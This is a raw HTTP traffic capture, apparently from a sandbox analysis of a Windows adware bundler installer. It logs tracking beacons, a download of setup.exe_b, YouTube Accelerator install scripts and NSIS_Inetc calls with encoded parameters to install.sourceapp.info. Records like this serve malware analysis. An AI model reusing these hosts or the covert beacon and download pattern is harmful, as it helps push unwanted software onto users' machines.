HTTP/1.1 200 OK
x-amz-id-2: /Lum5foJnNtHXZHmrkopJUOMbtYoCB25b PDMC1HcLxA1CkfDKN5nnPDQwaox5I 
x-amz-request-id: 422C230B0F5E614E
Date: Thu, 12 Feb 2015 05:33:49 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1423719232 HTTP/1.1


Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: lYkD2YLuhcm/HufmlbCSbiz / cTFs9dtsV98cfPIFDV7GVdeMZoQ/F5v3MU9Jn7
x-amz-request-id: CAEDAA4C346FEF73
Date: Thu, 12 Feb 2015 05:33:49 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: lYkD2Y
Luhcm/HufmlbCSbiz / cTFs9dtsV98cfPIFDV7GVdeMZoQ/F5v3MU9Jn7..x-amz-requ
est-id: CAEDAA4C346FEF73..Date: Thu, 12 Feb 2015 05:33:49 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1423719233 HTTP/1.1


Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: fu7RLdfCujM y2PPwml8dV2B6sR38Pxg wdgG/81bvVf0uLNGWrPt0bCdMwTE/Bx
x-amz-request-id: AB11A28B1061D5B6
Date: Thu, 12 Feb 2015 05:33:50 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1423719233 HTTP/1.1


Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: MQyBE2zAI6KHO6Q4Jp62pW/cKFB1leEk4gDjkq0sS5bLHzfOSHBowDSQuvP CIZN
x-amz-request-id: D9218E96B58DB39F
Date: Thu, 12 Feb 2015 05:33:50 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: MQyBE2
zAI6KHO6Q4Jp62pW/cKFB1leEk4gDjkq0sS5bLHzfOSHBowDSQuvP CIZN..x-amz-requ
est-id: D9218E96B58DB39F..Date: Thu, 12 Feb 2015 05:33:50 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..



GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2wy0yopxw6nne.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 26401
Connection: keep-alive
Server: nginx
Date: Tue, 10 Feb 2015 14:50:36 GMT
Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT
ETag: "54da1999-6721"
Expires: Tue, 10 Feb 2015 15:00:36 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 28
X-Cache: Hit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: XlxZur7Fdps7KEJiPHh57TPKN7dqPLHqCIEWoZtYx5aH-gHKM8pv5A==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.
<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1


Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2wy0yopxw6nne.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 08 Feb 2015 05:03:41 GMT
Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT
Expires: Sun, 08 Feb 2015 05:13:41 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ABxWrCXtujYpgRGCDt6aFDMPpNiurQY7s2oMp1tDxKG1jC1I0qkdPg==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....
<<< skipped >>>


GET /smt2b/all/hat/row/setup.exe_b HTTP/1.1
Host: dl.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:37 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1423713603"
Last-Modified: Thu, 12 Feb 2015 04:00:03 GMT
Cache-Control: max-age=1628
Content-Length: 2622765
Content-Type: text/plain
X-HW: 1423719217.dop005.am4.t,1423719217.cds042.am4.c
...6.Y.......&....B%...........V...f7N".][email protected].
......u|.i..]^...W0..q.*..........'f..k..eX[..V...<.q........../...
A...n*....L.Ler...g;...T...5..l.F........E@G...).._...{e.N .Q.b...6kt.
.;......*[email protected]......'.3p.B.....X..*3;}......K...t.....b.Ru
.cG...\I.^..CD.%[email protected]}......g../..,....5..E{..?...z.K(..Y%.
&..\s,/...... ..'_t?b.=... U.C.zN!f*.,....y{V..V=."[email protected]..
...._$X0...\....3..d.~..I......!.z.._..j?b.;J.(..9="u...e.=.....&...Q.
.>[email protected]}.>.. [i,.. .^....`.iF....pYU.#.....X
<.............7...;o/p3..T..._.>..................d.T.D..pcVX.#.
Ie>%...7A........`...W..^.s..}{.6...o8].u.....4f,.".&RS..K..B...xE.
.x.]?.}....G..g..Sv.0O.>.......e..cl.^_.......A..6J....$....s......
_XM!..g....vk...0.D=mR...l.....u....3@W=..d.4....|.`......Y.~T.0......
..yI....kF..cD}...GU*C.......0...V..Q2..(.2.A.d..U.c..........F. .k/P.
.........."._R....T[.b..d...n.....U;........5Y-.JbM.n.....U...-=......
{2f.....V.*E..p..{@..>M.....k.4/Gu...`..f..j=d.jgGP..........4I..J.
r.W.D.GO..3..vp."..D.1...^..#[3M.}=.D...tW....HP..V...........3^[..6..
..([email protected]......$.B..I......O..e..<...cR..7..D9.}bf\...d..
.9.;~>8.s-'.{.\ i..H.MV0 ...4...b].T..7g...{..P...>.q'..}.)..4..
.........k.Nn..<..Yr.M..kaL;OrL.J...v.gy4..O9..q..j%.<./.......m
-i.'....R...?.X.V..... ...R'.q...ch...~.!.Z.'!G....an.Qt.:..{..^6M.3.j
[email protected]".....R.............[8...8 .V..5....4......?.`
B....1.D!-.i..WB.f3....!.%Q.u...^.j....|.Y#[email protected][[f_.V..D
<<< skipped >>>


GET /ConversionService/getScript.ashx?s=finish HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=lusi11zr5h1hwcopad25teyn


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/x-javascript; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:57 GMT
Content-Length: 1035
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"..:..........r...r../..v]/.q6..
^.....j9jG.._......M./......EMG....G.U.f.9.........G.PCj.=......dD.^..
.~..b .~.....Ev......~.....u...4.g.t..~..:........G.......6..g{..?....
.w.:....!>...v.5......G..,?/...._......~..;...."o........E...>..
..#j7...E;?..=...|...V.rv2/..V{..V}..I5.&.k.........S.YM...q.s.@..".!M
.^..x.4o.:..8..y.(.].;L..Y;.....>.9L.j.?WUS..Gi6i.r.....hVev.(]V...
...&......a.n.dD.....}o........).i....:?...O....w....~.G....{../...'.O
>.l.{../..'w>.}T.....E.N.[..C....]?[...p1x..t.~..G.........._..&
gt;c....z.>.VK"I>......4.G).}'..2 ..E..b.]7.. ....2..S.H....MA..
AO...'...>......?..0....:o>...z.V....u[....;w........q|......?..
WY;......{......z..kAZ.A.u .i....C&..a.x..;,>[email protected]|..n:...vk..g.
}.~tx..p..'...;j.U..9.bAr...s...>......a....K..&.....CYi.E.z..}..h{
../.g...o.........M.........W...V....X...!.Y..........)......!........
.....I$n...f^.........T...n...y}YL......GRS.w.G..)....B...v.!A...Z..Kb
[..w6.M.......&x.E.....



GET /v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 12 Feb 2015 05:33:34 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
3d..{"stats":"error","time":"0.07 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Thu, 12 Feb 2015 05:33:34 
GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunke
d..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4
..3d..{"stats":"error","time":"0.07 ms","message":"uid is not set"}..0
..



GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.msocsp.com


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:35:02 GMT
Content-Type: application/ocsp-response
Content-Length: 1757
Connection: keep-alive
Set-Cookie: __cfduid=de8dde6077e0b2c4a4acaa8806110e9941423719302; expires=Fri, 12-Feb-16 05:35:02 GMT; path=/; domain=.msocsp.com; HttpOnly
Last-Modified: Fri, 06 Feb 2015 23:51:50 GMT
Expires: Tue, 10 Feb 2015 23:51:50 GMT
ETag: "9006297540e316688484ed9e4b46a0dce7b0d372"
Cache-Control: max-age=345599,public,no-transform,must-revalidate
CF-Cache-Status: HIT
Server: cloudflare-nginx
CF-RAY: 1b766ba5958500dd-AMS
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0206235150Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150206235150Z....20150210235150Z."0 0..
. .....0......20140206235150Z0...*.H.............Q."...T1..ý.Rs.(..%
l..<.....qN.jm\f...x3g...&.R.qQaH^....X.#{O G.....8K....(........f.
.&.%..m}.hU......9.......psNO.c;.Dz._....... ^..oQa48..6.......s.o..#.
]{D..nQL.2.;.i0.$Vp....6...:f.....h.O..#......8..!g<q...d.tl.....h(
..E.]-...................y.2.......0...0...0..........Z..~..M..<ZYJ
....~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....R
edmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U..
..Microsoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U....Sh
ould be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=
f....x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q....
.......bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*.
......x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.
M.O.....<5:......r.....]..A.5........0..0...U..........<.|7...@N
6p.I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... 
.......0... .....7....0.0... .......0... .....0......0...*.H..........
........sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......*.w
...w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z.3.
...L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP....&l
t;.}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._p..
<<< skipped >>>

GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1


Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.msocsp.com


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:35:02 GMT
Content-Type: application/ocsp-response
Content-Length: 1757
Connection: keep-alive
Set-Cookie: __cfduid=de8dde6077e0b2c4a4acaa8806110e9941423719302; expires=Fri, 12-Feb-16 05:35:02 GMT; path=/; domain=.msocsp.com; HttpOnly
Last-Modified: Fri, 06 Feb 2015 23:51:50 GMT
Expires: Tue, 10 Feb 2015 23:51:50 GMT
ETag: "9006297540e316688484ed9e4b46a0dce7b0d372"
Cache-Control: max-age=345599,public,no-transform,must-revalidate
CF-Cache-Status: HIT
Server: cloudflare-nginx
CF-RAY: 1b766ba9561f00dd-AMS
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0206235150Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150206235150Z....20150210235150Z."0 0..
. .....0......20140206235150Z0...*.H.............Q."...T1..ý.Rs.(..%
l..<.....qN.jm\f...x3g...&.R.qQaH^....X.#{O G.....8K....(........f.
.&.%..m}.hU......9.......psNO.c;.Dz._....... ^..oQa48..6.......s.o..#.
]{D..nQL.2.;.i0.$Vp....6...:f.....h.O..#......8..!g<q...d.tl.....h(
..E.]-...................y.2.......0...0...0..........Z..~..M..<ZYJ
....~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....R
edmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U..
..Microsoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U....Sh
ould be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=
f....x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q....
.......bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*.
......x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.
M.O.....<5:......r.....]..A.5........0..0...U..........<.|7...@N
6p.I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... 
.......0... .....7....0.0... .......0... .....0......0...*.H..........
........sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......*.w
...w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z.3.
...L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP....&l
t;.}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._p..
<<< skipped >>>


GET /mg?alpha=Wz1pHUZvAS5AdxMKRjdJWnk6EEZbe2tsN1tUYy0rXB4oeTIKN3RvWVAJaGoTAl1xTTouTw8acU45PjAkSDVTEDMjanVSTQtKQzZrVi9y HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: install.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Thu, 12 Feb 2015 05:32:53 GMT
Content-Length: 2004
bgu8MwQxN8lhTllwgU9beVP4Ows7HOMkTwo86mMSYFL8N0VyN lXYH4x20koIAGrJikqJc
A7VBFkjgtnFjKsQDdCS6txRkwI9HITTVepCEJAe/k3Gj5XuhpHdAnKJE0oLKJvEydl hQ2
KRzeZAhnD7M4PTIhziMTOk24PFY CqZiLkVc7CVcegv2KkNEVIgOU1JG/jseLX2xGldDd7
QnSTQZtTkTYjToAjUuHbI/A2NB jNkfCiaYBU2H crUC4LjS85ElCqPQg2V7YkFVtLn08M
Pm/BAT9qEvsPVVw9rHsKCxOjfF9/Iv4bOzAKzFk1cELqMzstba9uGCtJsi0Ad0yGYi5FXI
B X2pFoGgUTlfWT1NkV 8xHC1ajx5YXTCse0YtBrw5E20o/hY/EhjkbBNnbuEzKzVv2GcX
Lk64cwAyHZR0LUJd7CVUbgvpY00AXoIMVWgFsCYaPVukU08KPOpjEmFb/DdFcjfpV2B Md
tWMiABqyYpKiXAO1QRRK42TC8Lgm0jXEqSQ2F7FfNoBlEZ1k9AfUv/NyYpU7xdDkYg4i0E
eg oZVRoM kRDD0V5WBHOEP8OiRyb4RuBCFYkz5WMhiVQCpVWqU9CGkG9nUEDhmTHlJrSP
g2SnJYuBNHTXmsJFA5CaQ3C381 RAncAKybAEgF7BkZHw5m3ETYAf/F2kIOdIvYEBYuncQ
NUXJfxJLVY4IRHJG5iE0FH sC1t6IOAyCnRIpnRdfiLCFDc5W6prEG5BpXQtJj2HYgInWY
s Ti4L0jksRVWiMxBpCOhlBGxajgRAeWTiNwsjHOMZVUQm620KMRm0Yl55I65PPD0V42BJ
IEjxNysqb9h1BDdYoHNZeQeUIXgJCuI9RnYX/yRbAHOxPmE C6giCTxW 0UWeyz9KEYsD6
J7UGc00CkKLhbzQRBvXat6aigsjnQTDFywOgBhAIVvLhwbq2dCagTuYwV0WpYYUz4d5CcE
JBL7GVtaNusPSSwDpnByYyLvHnhmH/FpFmcBqz87OjqNcxJgB7s TigL3CEnSFitaxA1E 
hzBF8XgU9feAWwa1xkHK0GRE13tGNgEzmHNx0pN 0BMn5DskgMYV/mJSc4Ob5dIStTuTBV
KDKsQDdCS6txRlkC6HUITVWmMWNyTuQhHClStSNoaTv6KGQ3DbdwQylrrgM7MAz1SwRvSK
tsJishji1UJ0WtOkEvC5RVI1xMqz0IYRL2ak0AXZUfVXlp6yYBPluaF1FLPqx7TjkGo3Ad
KS7/ES0zC/QnX2RM5SUtcm HeRchSf9lVikblX5uSxunexA1Vqo0TQBPgx1TPh2oGiMbaf
tTFlg0 ikKYkidfFJ5KP8aPCglzFIMbEnmITsCEaF0BDBYsyt0PhyDai1eZZJKXGYJ6XIA
TlemMWF1Ve8hAClMsl0YCiPvLV09JLF4VCl94gA2MFWyYB1ySOoiLTobg20DJx/nMVc3At
whJF9LrXp8bhPzcARhU58OXT4d7DMEO1v1XV1bMfkuWjxI6nNQZzTpWXg5AfFmESAX
<<< skipped >>>

GET /fp?alpha=aytSGjs0VklUKxAOfTA0am8BFztrd0RrekwqEwVnbD9fGn1pWiMaUmEbPx0YKk8mSzF2WU0RD2pcB0Nbc3sub0kNLGUPPzwGMAktTn8pFyQoKlFWZXwzBW4+FUVSWC5ufxMOPztRW2VXbGxOAWkxOF9ORGpVPBxkdi0DRDs8PXAXK3huQURoJ3JCD2pDOyx0KXg3REw2bX8Pdj4cVVYNOjxzHg86LlZSfFNgeRweemQ6Rx0Tewk+DisqIGMecjsgd1JdYXxDXmNlKxtIN0JoNAhdXSEGCTNwLAdnOh1DUFoxPDlSAVlnCQYzEip5Okk8YmMDGgUFET8RenMqAXw7Kzt3TkB0KRgGOU5yQgIfHyxVaT9cMlVWFnQtA3s6HUNZKiUefXx4SjxGHUVuJBdA HTTP/1.1


User-Agent: NSIS_Inetc (Mozilla)
Host: install.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Thu, 12 Feb 2015 05:32:57 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..
Content-Type: text/plain..Expires: -1..Server: Microsoft-IIS/7.5..X-As
pNet-Version: 4.0.30319..SVR: SP003C2..X-Powered-By: ASP.NET..p3p: CP=
"CAO PSA OUR"..Date: Thu, 12 Feb 2015 05:32:57 GMT..Content-Length: 0.
.....


GET /ii?alpha=aytSGjsDa0waClg5fTA0am8BFztrd14yNl4YRgt+OXcYXX5+WjEzECs6G20qdysOCRIpJGgVe3csBlgtbGAvGFMFKRICODlhHVxjVnpLN2RpNhEacT55ChdNGk0iKSYfZ3x9OkhKVh1cH3Q/GG9BIFJPMm9VOW1wdStyMjszOCMZW0MkEgY8P2lEHXAWKTp0OSszUUhxKXtRFHlCSAkNby0mUU5rKAMHOicrNigRazcjV1FOaV08BnhxKAFHOzkrcWYSViR1ZStlNABWLkImQy1nfWgTCHttKAN7aUQBRgdkKy9MAUNnBBAzFjY/CgwNbmMDEAAoTTsIGTVyVRNuLSdxRBxZOW4WLXwiBlw3SHU0fikvKVVVYHsuBnZ4SAcWAXQ4ak5dbWVHWHxUd2lYQylrbAkYSh4Da0QgNHUTXkgwJ2pPGRVKVFd5bzRdCTBRJiBiZyt3WQJxLGgKbzsBRFBaMTArAww+NFJSZlBvY0wdYDc8XUhDfQl4FR8KalIEeHJuSGcKVGtFFltjNQBaP0s7R2RaWlQtWxMkbVx2T0gDCQtyey9QXzM/QRhhVElyX0MfaG8= HTTP/1.1


User-Agent: NSIS_Inetc (Mozilla)
Host: install.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Thu, 12 Feb 2015 05:32:58 GMT
Content-Length: 84
rGAOtMimOkywvbMDM8iJqi1MoNeob0m5uqVsaOTIuHQQ/t/zQkue rIwT fasydctKamSC
Xq1v2iohzXs7LOHTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Prag
ma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Se
rver: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP003C2..X-
Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Thu, 12 Feb 2015 05:
32:58 GMT..Content-Length: 84..rGAOtMimOkywvbMDM8iJqi1MoNeob0m5uqVsaOT
IuHQQ/t/zQkue rIwT fasydctKamSCXq1v2iohzXs7LO....


